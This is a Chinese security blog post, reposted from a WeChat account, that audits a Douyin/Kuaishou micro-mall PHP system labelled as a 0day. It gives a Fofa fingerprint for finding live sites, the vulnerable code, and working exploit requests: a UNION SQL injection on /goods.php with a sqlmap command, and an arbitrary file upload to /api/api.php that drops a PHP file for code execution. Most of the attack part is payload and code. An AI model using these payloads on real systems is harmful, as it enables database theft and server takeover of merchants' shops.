某蓝星抖音快手微商城RCE漏洞审计

admin 2024年10月24日14:52:11评论52 views字数 3677阅读12分15秒阅读模式

0x00 前言

   微商城系统,是一种小型电子商务系统。该系统融合了社交媒体的互动性和网络商城的交易功能,为商家提供了一个集商品展示、在线交易、营销推广、用户管理、数据分析等功能于一体的综合性电商平台。系统充分利用了微信的社交属性和广泛的用户基础,通过微信公众号或小程序等形式,为商家搭建起一个便捷的在线商城。用户无需下载额外应用,即可在微信内完成商品的浏览、选购、支付等操作,享受全方位的购物体验。

Fofa:"/Mao_Public/js/jquery-2.1.1.min.js"

某蓝星抖音快手微商城RCE漏洞审计某蓝星抖音快手微商城RCE漏洞审计

0x01 前台SQL注入漏洞

位于 /goods.php 存在很明显的SQL注入漏洞,直接GET传入id参数,然后直接被带入到了查询之中.

<?phprequire './Mao/common.php';$id= isset($_GET['id']) ? $_GET['id'] : 0;$cha_1 = $DB->get_row("select * from mao_shop where M_id='{$mao['id']}' and id='{$id}' limit 1");if($cha_1['type'] == 1){    $bt = "天猫优选";}elseif ($cha_1['type'] == 2){    $bt = "超值捡漏";}elseif ($cha_1['type'] == 3){    $bt = "人气销量";}if(!$cha_1){    sysmsg("商品不存在!");}?>

Payload:

GET /goods.php?id='+UNION+ALL+SELECT+NULL,NULL,NULL,CONCAT(IFNULL(CAST(CURRENT_USER()+AS+NCHAR),0x20)),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--+- HTTP/1.1Cache-Control: no-cacheCookie: PHPSESSID=2t6mrecrn4kesrguck8o1c1ohpHost: 127.0.0.1Accept: */*Accept-Encoding: gzip, deflateConnection: close

某蓝星抖音快手微商城RCE漏洞审计

Python sqlmap.py -u "http://127.0.0.1/goods.php?id=*" --level=3 --dbms=mysql

某蓝星抖音快手微商城RCE漏洞审计

0x02 前台任意文件上传漏洞

位于 /api/api.php 存在一段很明显的任意文件上传漏洞,直接构造mod=upload&type=1即可上传任意文件

elseif($mod == "upload"){  $type = daddslashes($_REQUEST['type']);if($type == 1){  if ((($_FILES["file"]["type"] == "image/gif") || ($_FILES["file"]["type"] == "image/jpeg") || ($_FILES["file"]["type"] == "image/png") || ($_FILES["file"]["type"] == "image/pjpeg")) && ($_FILES["file"]["size"] < 5242880)){    if ($_FILES["file"]["error"] > 0){      $result=array("code"=>-2,"msg"=>"上传出错!");      exit(json_encode($result));    }else{      $cmm = date("YmdHis").rand(111,999);      $name = explode('.',$_FILES["file"]["name"]);      $newPath = $cmm.'.'.$name[1];      if (preg_match("/[x7f-xff]/", $newPath)) {        $result=array("code"=>-3,"msg"=>"文件名称不能为中文!");        exit(json_encode($result));      }      if (file_exists("../upload/" . $newPath)){        $result=array("code"=>-2,"msg"=>"上传出错!");        exit(json_encode($result));      }else{        move_uploaded_file($_FILES["file"]["tmp_name"],"../upload/" . $newPath);        $lj=array("src"=>"/upload/{$newPath}","title"=>"图片");        $result=array("code"=>0,"msg"=>"上传成功!","data"=>$lj,"name"=>"/upload/{$newPath}");        exit(json_encode($result));      }    }  }else{    $result=array("code"=>-3,"msg"=>"图片大小不能超过5M!{$_FILES["file"]["size"]}");    exit(json_encode($result));  }}else{  $result=array("code"=>-1,"msg"=>"上传类型不存在!");}exit(json_encode($result));}//图片上传接口

Payload:

POST /api/api.php?mod=upload&type=1 HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflate, br, zstdAccept-Language: zh-CN,zh;q=0.9,ru;q=0.8,en;q=0.7Cache-Control: max-age=0Connection: keep-aliveContent-Length: 196Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryTqkdY1lCvbvpmownCookie: _ga=GA1.1.726509027.1723706258; _gid=GA1.1.511565798.1723706258; visiter_id=66becd1deegc38y28e1; cid=; services=1; itime=; service_token=fd70IOTMA6uf9x5ik%252FK%252Bp4E8K3BoyjlZd1eqHSIuOVum9qwpawRVCPE; think_lang=zh-cn; PHPSESSID=8954e10b597781256b751d2e72305b76Host: 127.0.0.1Origin: http://127.0.0.1Referer: http://127.0.0.1/api/api.php?mod=upload&type=1Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: noneUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36sec-ch-ua: "Not)A;Brand";v="99", "Google Chrome";v="127", "Chromium";v="127"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"sec-fetch-user: ?1------WebKitFormBoundaryaKljzbg49Mq4ggLzContent-Disposition: form-data; name="file"; filename="a.php"Content-Type: image/png<?php phpinfo();?>------WebKitFormBoundaryaKljzbg49Mq4ggLz--

某蓝星抖音快手微商城RCE漏洞审计

标签:代码审计,0day,渗透测试,系统,通用,0day,闲鱼,转转,RCE

微商城源码关注公众号发送 wst 获取

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,文章作者和本公众号不承担任何法律及连带责任,望周知!!!

原文始发于微信公众号(星悦安全):某蓝星抖音快手微商城RCE漏洞审计

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月24日14:52:11
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   某蓝星抖音快手微商城RCE漏洞审计https://cn-sec.com/archives/3309315.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息